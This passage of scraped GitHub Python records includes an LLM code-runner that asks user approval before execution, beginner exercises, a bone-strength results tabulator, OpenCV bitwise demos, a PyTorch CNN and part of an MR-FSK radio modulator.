return output\n    except subprocess.CalledProcessError as e:\n        error_message = e.output.decode()\n        print(f\"An error occurred while executing the code: {error_message}\")\n        sys.exit(1)\n\n# Function to create a Python file and write the generated code to it\ndef create_and_run_file(code):\n    file_name = input(\"Enter the name of the Python file you'd like to create (e.g., script.py): \")\n    with open(file_name, 'w') as f:\n        f.write(code)\n    print(f\"Created file '{file_name}'\")\n    return file_name\n\n# Main function\ndef main():\n    # Print the contents of the current directory\n    print(\"Current directory contents:\")\n    for file_name in os.listdir():\n        print(f\"  {file_name}\")\n    \n    # Ask the user for their initial prompt\n    initial_prompt = input(\"Please enter your initial request for the script to create and run: \")\n    \n    # Generate the code\n    code = generate_code(initial_prompt)\n\n    # Print the generated code\n    print(\"Generated Code:\")\n    print(\"----------------\")\n    print(code)\n    print(\"----------------\")\n\n    # Validate the generated code\n    if not validate_code(code):\n        print(\"Code validation failed.\")\n        sys.exit(1)\n\n    # Ask the user for approval to execute the code\n    approval = input(\"Do you approve execution of this code? (yes/no): \")\n\n    if approval.lower() == \"yes\":\n        # Create a file with the generated code\n        file_name = create_and_run_file(code)\n        # Execute the generated code\n        result = execute_code(file_name)\n        # Print the output of the code execution\n        print('Output:', result.decode())\n    else:\n        print(\"Execution cancelled.\")\n\n# Run the main function\nif __name__ == \"__main__\":\n    main()\n","repo_name":"TheSnowGuru/InterpreterGPT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4323,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"37795083122","text":"#Exercício Python 082: Crie um programa que vai ler vários números e colocar em uma lista. Depois disso, crie duas listas extras que vão conter apenas os valores pares e os valores ímpares digitados, respectivamente. Ao final, mostre o conteúdo das três listas geradas.\n\n\noriginal_list = []\nwhile True:\n    try:\n        original_list.append(int(input('Enter a valid number: ')))\n    except:\n        print('Invalid character typed. Please, try again!')\n        continue\n    option = ' '\n    while option not in 'YyNn':\n        option = str(input('Would you like to continue? [Y/N]: '))\n    if option in 'Nn':\n        break\neven_values = []\nodd_values = []\nfor i, v in enumerate(original_list):\n    if v % 2 == 0:\n        even_values.append(v)\n    elif v % 2 == 1:\n        odd_values.append(v)\nprint(original_list)\nprint(even_values)\nprint(odd_values)","repo_name":"Matheusfarmaceutico/Exercicios-Python","sub_path":"Exercícios do Guanabara sendo refeitos em 2022/Revisaoguanabara/ex82.py","file_name":"ex82.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42696432547","text":"#####\n# ogo_fe_pistoia_tabulate.py\n#\n# This script collects all the FE Pistoia results from the specified directory.\n#\n#####\n#\n# Andrew Michalski\n# University of Calgary\n# Biomedical Engineering Graduate Program\n# September 6, 2019\n# Modified to Py3: March 25, 2020\n#####\n\nscript_version = 1.0\n\n##\n# Import the required modules\nimport os\nimport sys\nimport glob\nimport argparse\nimport time\nimport pandas as pd\nfrom datetime import date\nfrom collections import OrderedDict\n\n\nfrom ogo.util.echo_arguments import echo_arguments\n\n##\ndef fePistoiaTab(args):\n\n    parser = argparse.ArgumentParser(\n        description=\"\"\"This script collects all the FE Pistoia results from the specified directory. INPUT: Data_Directory; OUTPUT: TXT file of results\"\"\")\n\n    parser.add_argument(\"analysis_directory\",\n        help = \"Path/To/Data/Directory\")\n\n    parser.add_argument(\"--model\", type = int,\n        default = 1,\n        help = \"Set the bone value to analyze. 1 = RT_FEMUR_SF;\\n2 = RT_FEMUR_SLS;\\n3 = LT_FEMUR_SF;\\n4 = LT_FEMUR_SLS;\\n6 = L4_SPINE_VC.\\n(Default: %(default)s)\")\n\n    ##\n    # Collect the input arguments\n    args = parser.parse_args()\n    directory = args.analysis_directory\n    model = args.model\n\n    ##\n    # Read the files in the Directory\n    files = []\n\n    if model == 1:\n        model_filename ='*_RT_FEMUR_SF_PISTOIA.txt'\n        model_filename2 ='_RT_FEMUR_SF_PISTOIA.txt'\n        fileName = \"RT_FEMUR_SF_PISTOIA_Results.txt\"\n        model_type = 'RT FEMUR SF Failure Load (N)'\n    elif model == 2:\n        model_filename = '*_RT_FEMUR_SLS_PISTOIA.txt'\n        model_filename2 = '_RT_FEMUR_SLS_PISTOIA.txt'\n        fileName = \"RT_FEMUR_SLS_PISTOIA_Results.txt\"\n        model_type = 'RT FEMUR SLS Failure Load (N)'\n    elif model == 3:\n        model_filename ='*_LT_FEMUR_SF_PISTOIA.txt'\n        model_filename2 ='_LT_FEMUR_SF_PISTOIA.txt'\n        fileName = \"LT_FEMUR_SF_PISTOIA_Results.txt\"\n        model_type = 'LT FEMUR SF Failure Load (N)'\n    elif model == 4:\n        model_filename = '*_LT_FEMUR_SLS_PISTOIA.txt'\n        model_filename2 = '_LT_FEMUR_SLS_PISTOIA.txt'\n        fileName = \"LT_FEMUR_SLS_PISTOIA_Results.txt\"\n        model_type = 'LT FEMUR SLS Failure Load (N)'\n    elif model == 6:\n        model_filename = '*_L4_FE_PISTOIA.txt'\n        model_filename2 = '_L4_FE_PISTOIA.txt'\n        fileName = \"L4_SPINE_FE_PISTOIA_Results.txt\"\n        model_type = 'L4 SPINE Failure Load (N)'\n    else:\n        print(\"Model value set is not defined. Ending script.\")\n        sys.exit()\n\n    ##\n    # Create dataframe for output\n    df = pd.DataFrame(columns = ['ID', model_type])\n\n    ##\n    # Read and extract the data\n    os.chdir(directory)\n    files = sorted(glob.glob(model_filename))\n    k = 0\n    for i in files:\n        ID = i.replace(model_filename2, \"\")\n\n        # Check to see if the file is empty and add to talbe if needed\n        if os.stat(i).st_size == 0:\n            x_fl = \"\"\n            y_fl = \"\"\n            z_fl = \"\"\n            if model == 1:\n                df.loc[k] = [ID, y_fl]\n            if model == 2:\n                df.loc[k] = [ID, z_fl]\n            if model == 3:\n                df.loc[k] = [ID, y_fl]\n            if model == 4:\n                df.loc[k] = [ID, z_fl]\n            if model == 6:\n                df.loc[k] = [ID, z_fl]\n            k = k + 1\n            continue\n\n        # open each txt file and extract the failure loads\n        lines = [line.rstrip('\\n') for line in open(i)]\n        lines = lines[11].replace(\" \", \"\")\n        lines = lines.replace(\"Failureload(RF*factor):\", \"\")\n        index_1 = lines.find(\"E\")\n        index_2 = lines.find(\"E\", index_1 + 1)\n        index_3 = lines.find(\"E\", index_2 + 1)\n        indices = [index_1, index_2, index_3]\n        x_fl = lines[0:index_1+4]\n        y_fl = lines[index_1+4:index_2+4]\n        z_fl = lines[index_2+4:]\n\n\n        if model == 1:\n            df.loc[k] = [ID, y_fl]\n        if model == 2:\n            df.loc[k] = [ID, z_fl]\n        if model == 3:\n            df.loc[k] = [ID, y_fl]\n        if model == 4:\n            df.loc[k] = [ID, z_fl]\n        if model == 6:\n            df.loc[k] = [ID, z_fl]\n        k = k + 1\n\n    ##\n    # Write Output TXT file of dataframe\n    df.to_csv(fileName, sep = '\\t', index = False, header = True)\n\n    print(\"Script Complete.\")\n\n\ndef main():\n    description = '''\n    This script collects all the FE Pistoia results from the specified directory. \n    \n    INPUT: Data_Directory; \n    OUTPUT: TXT file of results\n    \n    '''\n\n\n    # Setup argument parsing\n    parser = argparse.ArgumentParser(\n        formatter_class=argparse.RawTextHelpFormatter,\n        prog=\"ogoFePistoiaTabulate\",\n        description=description\n    )\n\n    parser.add_argument(\"analysis_directory\",\n        help = \"Path/To/Data/Directory\")\n\n    parser.add_argument(\"--model\", type = int,\n        default = 1,\n        help = \"Set the bone value to analyze. 1 = RT_FEMUR_SF;\\n2 = RT_FEMUR_SLS;\\n3 = LT_FEMUR_SF;\\n4 = LT_FEMUR_SLS;\\n6 = L4_SPINE_VC.\\n(Default: %(default)s)\")\n\n\n    # Parse and display\n    args = parser.parse_args()\n    \n    print(echo_arguments('fe_Pistoia_Tabulate', vars(args)))\n\n    # Run program\n    fePistoiaTab(args)\n\nif __name__ == '__main__':\n    main()","repo_name":"Bonelab/Ogo","sub_path":"ogo/cli/ref/FePistoiaTabulate.py","file_name":"FePistoiaTabulate.py","file_ext":"py","file_size_in_byte":5210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"36779879770","text":"import math\nfrom Algorithms.valManip import *\n\nclass Search(object):\n    \"\"\"binary search of an array\"\"\"\n\n    def bSearchAnimeList(list, animeName=None, anime_id=None):\n\n        if(animeName is not None):\n            \n            target = valManip.makeCompareable(animeName)\n            \n\n            return Search.linearSearch(list, animeName=target)\n\n        elif(anime_id is not None):\n\n            start = 0\n            middle = math.floor(len(list['entries'])/2)\n            end = len(list['entries']) - 1\n            counter = 0\n\n            target = anime_id\n\n            while(True):\n                middle = (start + end) // 2\n                midpoint = list['entries'][middle]['media']['id']\n\n                if(midpoint < target):\n                    start = middle + 1\n                elif(midpoint > target):\n                    end = middle - 1\n                else:\n                    return middle\n                counter += 1\n\n                if(counter >= len(list['entries'])): #performs a linear search if binary search is not working\n                    return Search.linearSearch(list, anime_id=target)\n\n        pass\n\n    def linearSearch(list, animeName=None, anime_id=None):\n       \n       listLen = len(list['entries'])\n\n       if(animeName is not None):\n\n           for x in range(0, listLen):\n               listVal = list['entries'][x]['media']['title']['userPreferred']\n\n               if(valManip.makeCompareable(listVal) == valManip.makeCompareable(animeName)): #returns index if value is found\n                 #print(\"OMG THE BINARY SEARCH BROKE!!!\")\n                 return list['entries'][x]\n\n       elif(anime_id is not None):\n           \n           for x in range(0, listLen):\n               listVal = list['entries'][x]['media']['id']\n\n               if(listVal == anime_id): #returns index if value is found\n                 #print(\"OMG THE BINARY SEARCH BROKE!!!\")\n                 return list['entries'][x]\n       \n       return None\n","repo_name":"backedman/animeScores","sub_path":"Algorithms/Search.py","file_name":"Search.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"22549548431","text":"# -*- coding: utf-8 -*-\n# @Time    : 2021/6/15 9:20\n# @Author  : Saiterlz from lanzhou\n# @Email   : kinekok@163.com\n# @File    : create_nameTBC.py\n# @Software: PyCharm\ndef replaceFomat(text: str, word: str, n: int, reverse=False):\n    \"\"\"\n    对文本中的指定单词进行格式化的替换/替回\n    :param text: 要替换的文本\n    :param word: 目标单词\n    :param n: 目标单词的序号\n    :param reverse: 是否进行替回\n    :return: 替换后的文本\n    \"\"\"\n    # 构造【中间变量】\n    new_text = text[:]\n    fmt = \"<{}>\".format(n)\n    # 替换\n    if reverse is False:\n        new_text = new_text.replace(word, fmt)  # 格式化替换\n        return new_text\n    # 替回\n    elif reverse is True:\n        new_text = new_text.replace(fmt, word)  # 去格式化替换\n        return new_text\n    # 要求非法，引发异常\n    else:\n        raise TypeError\n\n\ndef replaceMulti(text: str, olds: list, news: list):\n    \"\"\"\n    一次替换多组字符串\n    :param text: 要替换的文本\n    :param olds: 旧字符串列表\n    :param news: 新字符串列表\n    :return: 替换后的文本\n    \"\"\"\n    if len(olds) != len(news):\n        raise IndexError\n    else:\n        new_text = text[:]\n        # 格式化替换\n        i = 0  # 单词计数器\n        for word in olds:\n            i += 1\n            new_text = replaceFomat(new_text, word, i)\n        # 去格式化替回\n        i = 0  # 归零\n        for word in news:\n            i += 1\n            new_text = replaceFomat(new_text, word, i, True)\n        # 返回替换好的文本\n        return new_text\n\n\ndef test2(strtext):\n    temp = strtext.strip()\n    olds = ['\"', \",\", \"[\", \"]\"]\n    news = [\"\", \"\", \"\", \"\"]\n    result = replaceMulti(temp, olds, news)\n    strfull = result.split('=')\n    print(strfull)\n    strFormat = strfull[1].strip() + ':' + strfull[0].strip() +'\\n'\n    return strFormat\n\n\nadd_txt = []\nwith open('nameTBCold.txt', mode='r', encoding='utf-8') as f:\n    for i in f.readlines():\n        print(i)\n        with open('nameTBC2.txt', mode='a+', encoding='utf-8')  as h:\n            h.write(test2(i))\n","repo_name":"saiterlz/TSM_Export_Excel-master","sub_path":"create_nameTBC.py","file_name":"create_nameTBC.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30999973543","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport cv2\nimport numpy as np\n\n\n# In[2]:\n\n\nimg1 = np.zeros((300, 300), dtype=\"uint8\")\ncv2.rectangle(img1, (100, 100), (250, 250), 255, -1)\ncv2.imshow(\"pic.jpg\", img1)\n\n\n# In[3]:\n\n\nimg2 = np.zeros((300, 300), dtype=\"uint8\")\ncv2.circle(img2, (150, 150), 90, 255, -1)\ncv2.imshow(\"car.webp\", img2)\n \n\n\n# In[4]:\n\n\nrect_and_circle = cv2.bitwise_and(img1,img2)\ncv2.imshow(\"AND operation\",rect_and_circle)\n \n\n\n# In[5]:\n\n\nrect_or_circle = cv2.bitwise_or(img1,img2)\ncv2.imshow(\"OR operation\",rect_or_circle)\n\n\n# In[6]:\n\n\nrect_xor_circle = cv2.bitwise_xor(img1,img2)\ncv2.imshow(\"XOR Operation\",rect_xor_circle)\n\n\n# In[7]:\n\n\nrect_xor_circle2 = cv2.bitwise_xor(img1,img2)\ncv2.imshow(\"XOR Operation\",rect_xor_circle2)\n\n\n# In[8]:\n\n\nrect_xor_circle2 = cv2.bitwise_xor(img1,img2)\ncv2.imshow(\"NOT Operation\",rect_xor_circle)\n\n\n# In[9]:\n\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n","repo_name":"harishnk443/image-processing","sub_path":"BITWISE OPERATION.py","file_name":"BITWISE OPERATION.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42546163700","text":"\n# imports Adventure() class from respective file\nfrom miniA5Adventurer import Adventurer\n\n# main execution outlines the program route by calling default values.\n# A name is given and health is increased and the new values are displayed.\n\n\ndef start():\n\n    myAdventurer = Adventurer()\n\n    print(\"The default values are:\", myAdventurer.name, myAdventurer.health)\n\n    myAdventurer.name = \"Balin\"\n\n    myAdventurer.gainLevel()\n\n    print(\"New values are:\", myAdventurer.name, myAdventurer.health)\n\n\nstart()\n","repo_name":"ZilRahman/PythonCourse","sub_path":"A5/miniA5Contents/miniA5Start.py","file_name":"miniA5Start.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71836374649","text":"from matplotlib import transforms\nimport numpy as np\nimport torch \nfrom torchvision import transforms, datasets\nfrom torch.utils.data import random_split\nimport matplotlib.pyplot as plt\nfrom torchvision.datasets import ImageFolder\nimport torch.nn as nn\nimport torch.nn.functional as F \n\n\nclass Shift_Net(nn.Module):\n    def __init__(self, pars):\n        super(Shift_Net, self).__init__()\n        ks=(5,5)\n        ps=np.int32(5)\n        self.mid_layer=256\n        # Two successive convolutional layers.\n        # Two pooling layers that come after convolutional layers.\n        # Two dropout layers.\n        self.conv1 = nn.Conv2d(3, 32, kernel_size=ks[1],padding='same')\n        self.pool1= nn.MaxPool2d(kernel_size=10,stride=2)\n        self.conv2 = nn.Conv2d(32, 64, kernel_size=ks[1],padding='same')\n        self.drop2 = nn.Dropout2d(p=0.2)\n        self.pool2=nn.MaxPool2d(kernel_size=5,stride=2)\n        self.conv3 = nn.Conv2d(64, 64, kernel_size=ks[1],padding='same')\n        self.pool3=nn.MaxPool2d(kernel_size=2,stride=3)\n        self.drop_final=nn.Dropout(p=0.2)\n        self.total_pars = 0\n\n        self.first=True\n        if self.first:\n            self.forward(torch.zeros((1,)+pars.inp_dim))\n        \n        self.optimizer = torch.optim.SGD(self.parameters(), lr = 0.001)\n        self.criterion=nn.CrossEntropyLoss()\n        \n    def forward(self, x):\n        x = self.conv1(x)\n         \n        # Apply relu to a pooled conv1 layer.\n        x = F.relu(self.pool1(x))\n        # Apply relu to a pooled conv2 layer with a drop layer inbetween.\n        x = self.drop2(F.relu(self.pool2(self.conv2(x))))\n        x = F.relu(self.pool3(self.conv3(x)))\n        if self.first:\n            self.first=False\n            self.inp=x.shape[1]*x.shape[2]*x.shape[3]\n            # Compute dimension of output of x and setup a fully connected layer with that input dim \n            # pars.mid_layer output dim. Then setup final 3 node output layer.\n            print('input dimension to fc1',self.inp)\n            if self.mid_layer is not None:\n                self.fc1 = nn.Linear(self.inp, self.mid_layer)\n                self.fc_final = nn.Linear(self.mid_layer, 3)\n            else:\n                self.fc1=nn.Identity()\n                self.fc_final = nn.Linear(self.inp, 3)\n        x = x.reshape(-1, self.inp)\n        x = self.fc1(x)\n        x = self.fc_final(x)\n        return x\n    \n    # Run the network on the data, compute the loss, compute the predictions and compute classification rate/\n    def get_acc_and_loss(self, data, targ):\n        output = self.forward(data)\n        loss = self.criterion(output, targ)\n        pred = torch.max(output,1)[1]\n        #print(f'Prediction is {pred}')\n        correct = torch.eq(pred,targ).sum()\n        \n        return loss,correct\n    \n    # Compute classification and loss and then do a gradient step on the loss.\n    def run_grad(self,data,targ):\n        self.optimizer.zero_grad()\n        loss, correct=self.get_acc_and_loss(data,targ)\n        loss.backward()\n        self.optimizer.step()\n        \n        return loss, correct\n\n\n# An object containing the relevant parameters for running the experiment.\nclass par(object):\n    def __init__(self):\n        self.batch_size=1000\n        self.step_size=.001\n        self.num_epochs=20\n        self.numtrain=55000\n        self.minimizer=\"Adam\"\n        self.data_set=\"mnist\"\n        self.model_name=\"model\"\n        self.dropout=0.\n        self.dim=32\n        self.pool_size=2\n        self.kernel_size=5\n        self.mid_layer=256\n        self.use_gpu=False\n        ","repo_name":"jsjung00/rps","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21297996340","text":"\"\"\"\nMR-FSK Modulator\n\"\"\"\n\nimport numpy as np\nfrom enum import Enum\nfrom ..tools.bits import from_bitstring, to_binary_array, check_binary_array\nfrom ..tools import operations\n\nfrom colorama import Fore\n\n\nclass Modulation(Enum):\n    FSK2 = 1\n    FSK4 = 2\n\n\n# SFD Values as a function of modulation, phyMRFSKSFD and coded/uncoded\n# Key is (modulation, phyMRFSKSFD, is_coded)\n# See tables 131 and 132 of 802.15.4g-2012\nSFD = {\n    # Table 131\n    (Modulation.FSK2, 0, True): from_bitstring('0110 1111 0100 1110'),\n    (Modulation.FSK2, 0, False): from_bitstring('1001 0000 0100 1110'),\n    (Modulation.FSK2, 1, True): from_bitstring('0110 0011 0010 1101'),\n    (Modulation.FSK2, 1, False): from_bitstring('0111 1010 0000 1110'),\n    # Table 132\n    (Modulation.FSK4, 0, True):  from_bitstring('0111 1101 1111 1111 0111 0101 1111 1101'),\n    (Modulation.FSK4, 0, False): from_bitstring('1101 0111 0101 0101 0111 0101 1111 1101'),\n    (Modulation.FSK4, 1, True):  from_bitstring('0111 1101 0101 1111 0101 1101 1111 0111'),\n    (Modulation.FSK4, 1, False): from_bitstring('0111 1111 1101 1101 0101 0101 1111 1101'),\n}\n\n# preamble field as a function of modulation\nPREAMBLE_SEQUENCE = {\n    Modulation.FSK2: np.tile(np.array([0, 1]), 4),\n    Modulation.FSK4: np.tile(np.array([0, 1, 1, 1]), 4)\n}\n\nPHR_LENGTH = 2\n\n# Tail bits based on the memory state of the RSC encoder\nRSC_TAIL_BITS = {\n    0b000: np.array([0, 0, 0]),\n    0b001: np.array([1, 0, 0]),\n    0b010: np.array([1, 1, 0]),\n    0b011: np.array([0, 1, 0]),\n    0b100: np.array([1, 1, 1]),\n    0b101: np.array([0, 1, 1]),\n    0b110: np.array([0, 0, 1]),\n    0b111: np.array([1, 0, 1]),\n}\n# Tail bits for the NRNSC encoder\nNRNSC_TAIL_BITS = np.array([0, 0, 0])\n\n\nclass Mr_fsk_modulator:\n    def __init__(self,\n        symbolRate : int,\n        FSKModulationIndex : int,\n        phyMRFSKSFD : int,\n        modulation : str,\n        phyFSKFECEnabled : bool,\n        phyFSKFECScheme : int,\n        macFCSType : int,\n        phyFSKScramblePSDU : bool,\n        phyFSKFECInterleavingRSC : bool,\n        phyFSKPreambleLength : int = 4,\n        verbose = False):\n        \"\"\"\n        Creates an instance of a MR-FSK modulator\n\n        Parameters\n        ----------\n        symbolRate : int\n            Number of symbols per second, if a float is supplied it will be converted to int\n        FSKModulationIndex : float\n            FSK Modulation index\n        phyMRFSKSFD : int\n            Selection of the SFD group (See table 131 of 802.15.4g)\n        phyFSKPreambleLength : int\n            Length of the preamble\n        modulation : str\n            Modulation type : \"2FSK\" or \"4FSK\"\n        phyFSKFECEnabled : bool\n            Enable FEC encoding (True) or not (False)\n        phyFSKFECScheme : int\n            Configures the FEC mode. 0 for NRNSC and 1 for RSC\n        macFCSType : int\n            Lengths of the FCS 0 -> 4, 1 -> 2\n            FCS Type describing the length of transmitted FCS.\n        phyFSKScramblePSDU : bool\n            Enable (True) or disable (False) the whitening of the PSDU\n        phyFSKFECInterleavingRSC : bool\n            Enable (True) interleaving for RSC or disable (False)\n\n        \"\"\"\n        # Checks\n        if isinstance(symbolRate, float):\n            symbolRate = int(symbolRate)\n        elif not isinstance(symbolRate, int):\n            raise TypeError(\"symbolRate must be an integer\")\n        if symbolRate <= 0:\n            raise ValueError(\"symbolRate must be a positive integer value\")\n\n        if not (isinstance(FSKModulationIndex, float) or isinstance(FSKModulationIndex, int)):\n            raise TypeError(\"FSKModulationIndex must be a number\")\n        if not (0.25 <= FSKModulationIndex <= 2.5):\n            raise ValueError(f\"FSKModulationIndex ({FSKModulationIndex}) must be between 0.25 and 2.5\")\n\n        if isinstance(phyMRFSKSFD, int):\n            if phyMRFSKSFD not in [0, 1]:\n                raise ValueError(\"phyMRFSKSFD should be 0 or 1\")\n        else:\n            raise TypeError(\"Invalid phyMRFSKSFD type. It should be int\")\n\n        if isinstance(phyFSKPreambleLength, int):\n            if not (4 <= phyFSKPreambleLength <= 1000):\n                raise ValueError(\n                    \"phyFSKPreambleLength value is invalid. The range is 4-1000 (See Table 71)\")\n        else:\n            raise TypeError(\"phyFSKPreambleLength must be an integer\")\n\n        if isinstance(modulation, str):\n            if modulation not in [\"2FSK\", \"4FSK\"]:\n                raise ValueError(\n                    \"Invalid modulation type. It should be \\\"2FSK\\\" or \\\"4FSK\\\"\")\n        else:\n            raise TypeError(\"Invalid modulation type. It should be str\")\n\n        if not isinstance(phyFSKFECEnabled, bool):\n            raise TypeError(\"phyFSKFECEnabled should be of type bool\")\n\n        if not isinstance(phyFSKFECScheme, int):\n            raise TypeError(\"phyFSKFECScheme should be of type int\")\n        elif phyFSKFECScheme not in [0, 1]:\n            raise ValueError(\"phyFSKFECScheme should be 0 or 1\")\n\n        if not isinstance(macFCSType, int):\n            raise TypeError(\"FCS_length should be of type int\")\n        elif macFCSType not in [0, 1]:\n            raise ValueError(\"FCS_length should be 0 or 1\")\n\n        if isinstance(phyFSKScramblePSDU, int):\n            phyFSKScramblePSDU = bool(phyFSKScramblePSDU)\n        elif not isinstance(phyFSKScramblePSDU, bool):\n            raise TypeError(\"phyFSKScramblePSDU should be of type bool\")\n\n        if not isinstance(phyFSKFECInterleavingRSC, bool):\n            raise TypeError(\"phyFSKFECInterleavingRSC should be of type bool\")\n\n        self._symbol_rate = symbolRate\n        self._FSKModulationIndex = FSKModulationIndex\n        self._macFCSType = macFCSType\n        self._phyFSKFECEnabled = phyFSKFECEnabled\n        self._phyMRFSKSFD = phyMRFSKSFD\n        self._phyFSKPreambleLength = phyFSKPreambleLength\n        self._modulation = Modulation.FSK2 if modulation == \"2FSK\" else Modulation.FSK4\n        self._phyFSKScramblePSDU = phyFSKScramblePSDU\n        self._phyFSKFECInterleavingRSC = phyFSKFECInterleavingRSC\n        self._phyFSKFECScheme = phyFSKFECScheme\n        self._verbose = verbose\n\n    def _bin(self, number, width=8, MSB_first=True):\n        \"\"\"\n        Converts a number to binary representation with LSB first\n\n        Parameters\n        ----------\n        number : int\n\n        Returns\n        -------\n        output : ndarray\n            Array of bits\n        \"\"\"\n\n        return np.array([int(x) for x in np.binary_repr(number, width)[::(1 if MSB_first else -1)]])\n\n    def _SHR(self):\n        \"\"\"\n        Returns SHR bitstream\n\n        Returns\n        -------\n        signal : ndarray\n            SHR bitstream\n        \"\"\"\n\n        signal = np.concatenate([\n            np.tile(PREAMBLE_SEQUENCE[self._modulation],\n                    self._phyFSKPreambleLength),\n            SFD[(self._modulation, self._phyMRFSKSFD, self._phyFSKFECEnabled)]\n        ]).astype(int)\n        return signal\n\n    def _PHR_mode_switch(self, modeSwitchParameterEntry, new_mode_fec, PAGE, MOD, MD):\n        \"\"\"\n        Returns a PHR bitstream for mode_switch\n\n        modeSwitchParameterEntry : int\n            Mode switch operation (0-3)\n        new_mode_fec : bool\n            Signal that the packet following is encoded using FEC\n\n        \"\"\"\n\n        signal = np.zeros([PHR_LENGTH], dtype=int)\n        # See figure 115\n        signal[0] = 1  # MS\n        signal[1:2+1] = self._bin(modeSwitchParameterEntry, 2)\n        signal[3] = new_mode_fec  # FEC\n        signal[4] = PAGE  # New Mode\n        signal[5] = self._bin(MOD, 2)  # New Mode\n        signal[7:10+1] = self._bin(MD, 4)  # New Mode\n        PC = np.logical_xor.reduce(signal[:10+1])\n        # BCH(15,11) code\n        g = np.poly1d([1, 0, 0, 1, 1])\n\n        print(Fore.RED + f\"Warning : BCH checksum isn't implemented (replaced with zeros)\" + Fore.RESET)\n        B = np.array([0, 0, 0, 0])\n        signal[11:14+1] = self._bin(B, 4)\n        signal[15] = PC\n\n        return signal\n\n    def _PHR(self, message_length):\n        \"\"\"\n        Returns PHR bitstream\n\n        Parameters\n        ----------\n        message_length : int\n            Length of the PSDU (prior to FEC encoding) in octets\n\n\n        Returns\n        -------\n        signal : ndarray\n            SHR bitstream\n        \"\"\"\n\n        signal = np.zeros([PHR_LENGTH * 8], dtype=int)\n        # See Figure 114\n        signal[0] = 0  # MS\n        signal[1:2+1] = 0  # Reserved\n        signal[3] = self._macFCSType  # FCS type\n        signal[4] = 1 if self._phyFSKScramblePSDU else 0  # DW\n        signal[5:] = self._bin(message_length, 11)  # L\n\n        return signal\n\n    def _FEC(self, data, tail = True, pad = True):\n        \"\"\"\n        Apply FEC encoding to the data (PHR + PSDU) and appends tail and pad bits\n\n        Parameters\n        ----------\n        data : ndarray\n            Bitstream of the message to encode\n        tail : bool\n            Enable tail (True by default)\n        pad  : bool\n            Enable pad (True by default)\n        \"\"\"\n\n        def M_iter_RSC(M, bi):\n            # Extract bits\n            M0, M1, M2 = (M >> 2) & 0b001, (M >> 1) & 0b001, M & 0b001\n            # output values\n            bi = int(bi)\n            ui0 = bi\n            ui1 = (bi ^ M0 ^ M1 ^ M2) ^ M1 ^ M2\n            # Update M\n            M0, M1, M2 = bi ^ M0 ^ M1 ^ M2, M0, M1\n\n            return (M0 << 2) | (M1 << 1) | M2, ui0, ui1\n\n        def M_iter_NRNSC(M, bi):\n            # Extract bits\n            M0, M1, M2 = (M >> 2) & 0b001, (M >> 1) & 0b001, M & 0b001\n            bi = int(bi)\n            ui0 = not (bi ^ M0 ^ M1 ^ M2)\n            ui1 = not (bi ^ M1 ^ M2)\n\n            M0, M1, M2 = bi ,M0, M1\n\n            return (M0 << 2) | (M1 << 1) | M2, ui0, ui1\n\n\n        # PAD_BITS are derived from figures 121 and 122. It looks like they could be set arbitrarily\n        if (data.size//8) % 2 == 0:\n            # is even\n            # L_PAD = 13\n            PAD_BITS = np.array([0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1])\n        else:\n            # L_PAD = 5\n            PAD_BITS = np.array([0, 1, 0, 1, 1])\n\n        M = 0b000\n\n        encoded_PHR_PSDU = []\n        for bi in data:\n            # Split M into its bit values\n            if self._phyFSKFECScheme:\n                M, ui0, ui1 = M_iter_RSC(M, bi)\n            else:\n                M, ui0, ui1 = M_iter_NRNSC(M, bi)\n\n\n            encoded_PHR_PSDU.append(ui1)\n            encoded_PHR_PSDU.append(ui0)\n\n        # Add tails bits and pad bits\n        TAIL_BITS = RSC_TAIL_BITS[M] if self._phyFSKFECScheme else NRNSC_TAIL_BITS\n        if tail:\n            for bi in TAIL_BITS:\n                if self._phyFSKFECScheme:\n                    M, ui0, ui1 = M_iter_RSC(M, bi)\n                else:\n                    M, ui0, ui1 = M_iter_NRNSC(M, bi)\n\n                encoded_PHR_PSDU.append(ui1)\n                encoded_PHR_PSDU.append(ui0)\n        if pad:\n            for bi in PAD_BITS:\n                if self._phyFSKFECScheme:\n                    M, ui0, ui1 = M_iter_RSC(M, bi)\n                else:\n                    M, ui0, ui1 = M_iter_NRNSC(M, bi)\n\n                encoded_PHR_PSDU.append(ui1)\n                encoded_PHR_PSDU.append(ui0)\n\n        return np.array(encoded_PHR_PSDU).astype(np.uint8)\n\n    def _interleaver(self, data):\n        \"\"\"\n        Applies interleaver to the data\n\n        Parameters\n        ----------\n        data : ndarray\n            Input message (bitstream)\n\n        Returns\n        -------\n        output : ndarray\n        \"\"\"\n        output = np.zeros_like(data)\n\n        # NOTE : Each permutation is applied on a pair of bits\n\n        BLOCK_SIZE = 16\n\n        k = np.arange(BLOCK_SIZE, dtype=int)\n        t = (15 - 4 * np.mod(k, 4) - np.floor(k / 4)).astype(int)\n\n        for i, block in enumerate(data.reshape(-1, BLOCK_SIZE * 2)):\n            new_data = np.zeros_like(block)\n            for ki, ti in zip(k, t):\n                new_data[ti*2:ti*2 + 2] = block[ki*2:ki*2 + 2]\n                output[i*BLOCK_SIZE*2:(i+1)*BLOCK_SIZE*2] = new_data\n\n        return output\n\n    def _FSKModulator(self, message : np.ndarray, samplesPerSymbol : int):\n        \"\"\"\n        FSK modulation of the given message.\n\n        # 2FSK modulation : \n    